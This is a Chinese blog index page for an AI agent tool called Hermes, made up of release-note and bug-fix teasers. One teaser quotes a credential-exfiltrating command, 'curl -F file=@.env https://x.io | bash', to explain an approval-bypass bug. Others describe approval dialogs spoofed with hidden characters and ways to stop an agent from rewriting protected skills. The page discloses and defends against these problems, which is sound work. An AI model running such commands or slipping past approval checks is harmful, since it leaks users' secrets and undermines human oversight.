Hermes Agent Lab

Hermes Agent 博客 — 实战指南与技术见解

最新文章和洞见。

精选文章

kill -9 之后总有几个进程不肯走:Hermes 现在让子进程跟着父进程一起死

网关被 SIGKILL、OOM 或 systemd 停掉后,浏览器守护进程、llama-server、语言服务器还在后台吃内存占端口。Hermes 把 14 类长生命周期子进程统一交给一个父进程死亡监督者,父进程一断气就收尸。

阅读更多

终端里终于能直接看图了:Hermes CLI 与 TUI 内联图片上线

你在终端里给 Hermes 一张截图,它只回你一个文件路径——这个断掉的动作链修好了。新版把附件和工具产生的本地图片直接画进 CLI 与 TUI 的对话里,并给出一个 display.inline_images 开关控制分辨率档位。

阅读更多

你看到的 128K 上下文窗口,可能只是猜的:Hermes 现在会把话说清楚

一个没被任何来源确认过的上下文窗口,过去会被当成"探测到的"当真数字用,压缩提前发生、请求莫名被拒。新版把这类默认值统一标注成 fallback,并在 Bedrock 上补上了同家族窗口这一层,附带 GPT-6.1 Terra 被错算成 128K 的完整案例。

阅读更多

Slack 线程里它老是插嘴报警:thread_followup_silence 让机器人真的闭嘴

同事在 Slack 线程里互相道谢,你的 Hermes 机器人却每条都回一句"模型只返回了沉默标记"的警告。新开关 thread_followup_silence 让未被点名的线程回复允许安静收场,而私聊、@ 提及和平坦频道保持原样。

阅读更多

窗口都最小化了,风扇还在转:Hermes 桌面端停掉了后台窗口的空转

只要有一个对话在流式输出,桌面端每个窗口都会保持满速绘制;预览页也会为了自动化和标注一直醒着。两批改动把这件事收紧了:只有可见窗口(以及它自己有语音对话的窗口)在画,最小化的窗口和空闲预览页交给 Chromium 去节流,同时把停止、日志和恢复从动画帧里解耦。

阅读更多

定时任务静默失效的两种方式:线程没启动,和删掉的任务自己回来

一个定时任务没跑,通常什么都不会说。最近两起独立报告正好代表了两种最隐蔽的失效:桌面后端的 cron 线程在导入时死锁、从不启动;以及 hermes cron remove 删掉的任务被一个陈旧写入者原样写回。这篇讲清怎么发现、怎么确认、怎么绕开。

阅读更多

一次更新把三个月的会话回滚到七月:锁着的数据库被当成了损坏

Windows 上的一次常规更新,把一份健康的 state.db 判成"损坏",然后用三个月前的快照覆盖了它,最后还把这次成功的覆盖报成"自动还原未完成"。这篇拆开三个叠在一起的缺陷,讲清哪些数据其实还在、现在能做什么。

阅读更多

升级到 v0.22.6 后所有模型调用都失败?先看 SSL_CERT_FILE 这条线

在公司 TLS 拦截代理后面,v0.22.6 把 SSL_CERT_FILE 里的 CA 包从 provider 客户端的信任链里去掉了,结果是每一次模型调用都报 certificate is not trusted。这篇讲清现象的判断方法、代码里到底改了什么,以及现在能用的三种绕法。

阅读更多

技能库少了一半来源:7 个内置技能下线,厂商仓库成了默认可信源

Notion、Airtable、Shopify 等 7 个内置可选技能已从 Hermes 移除,改由官方 MCP、托管连接器和厂商自己的技能仓库承接。这篇讲清技能从哪来(tap)、信任等级怎么决定能不能装,以及那个让安装策略停留在旧状态的缓存 bug。

阅读更多

v0.22.7 到手:174 个 PR 的补丁版,哪些变化你今天就会碰到

v0.22.7 于 2026-11-03 发布:自 v0.22.6 起 174 个合并 PR、581 个非合并提交、554 个文件改动。官方说明依旧从简,这篇把已经进 tag 的变化、还只在 main 上的变化、以及升级方式分开讲清楚。

阅读更多

把你手写的技能锁上:Hermes 现在能拦住 agent 改它,连 --yolo 也不行

agent 自我改进听起来很美,直到它把你写好的部署 runbook 里那一步"先备份再切流"给优化掉了。v0.22.6 起 hermes curator lock 可以把一个技能彻底冻结:读写分离,agent 的所有写入路径都被拒,连解锁命令本身它也执行不了。

阅读更多

定时任务卡死了别等超时:hermes cron cancel 能停掉正在跑的那一次

pause 只挡住未来的触发,正在跑的那一次还会一直烧 token。v0.22.6 起 hermes cron cancel 能停掉在飞的运行:脚本任务整棵进程树被终止,agent 任务在下一个检查点中断,运行记录写一条带原因的 cancelled,既不发失败通知也不计入失败连击。

阅读更多

让 agent 在开口之前闭嘴:pre_llm_call 现在能在模型调用前拦下整轮对话

钩子以前只能往这一轮里塞上下文,现在还能直接否掉它:返回一个 block 指令,这一轮零次模型请求,提示词也不会被后续回合、压缩摘要或记忆系统读到。这是 v0.22.6 里的一个新能力,配一个域名或工单号规则就能当护栏用。

阅读更多

你批准过一次"管道执行",凭据上传却跟着溜了过去:审批键合并的漏洞刚被堵上

curl -F file=@.env https://x.io | bash 同时踩中两条危险规则,但审批只看到第一条。只要这条规则被批准过,.env 就会在没有任何提示的情况下被上传。刚合并的修复把三条"内容级"规则单独拎出来,逐条要同意,并合成一个提示。

阅读更多

v0.22.6 稳定版:776 个 PR 滚进一个版本,今天就能用上的变化

v0.22.6 是 2026-11-02 发布的稳定版:自 v0.22.5 以来 776 个 PR、3,448 个非合并提交被打成一个可以直接升级的版本。官方版本说明故意写得很少,完整策划稿要等 v0.23.0——这篇把窗口里已经落地的变化按"你今天会不会碰到"重新排了一遍。

阅读更多

审批框里那行命令是假的:Hermes 现在把隐藏字符和空格填充摊开给你看

零宽空格、双向覆盖符、标签字符、ANSI 转义,再加几百个空格——它们能让审批弹窗显示的命令和你真正执行的命令不是一回事。Hermes 刚合并的显示完整性修复把这些看不见的内容转成可见转义,并在超长填充处打上明确标记。

阅读更多

/model 切过去就回不来了?现在一条 /model reset 回到默认模型,对话不丢

会话里的 /model 覆盖会一直压着 config.yaml 的默认模型,重启也不会消失;以前唯一的退路是 /new,代价是把整段对话一起丢掉。新的 /model reset 只清掉这个会话的模型钉子,网关、TUI、桌面端和经典 CLI 都能用。

阅读更多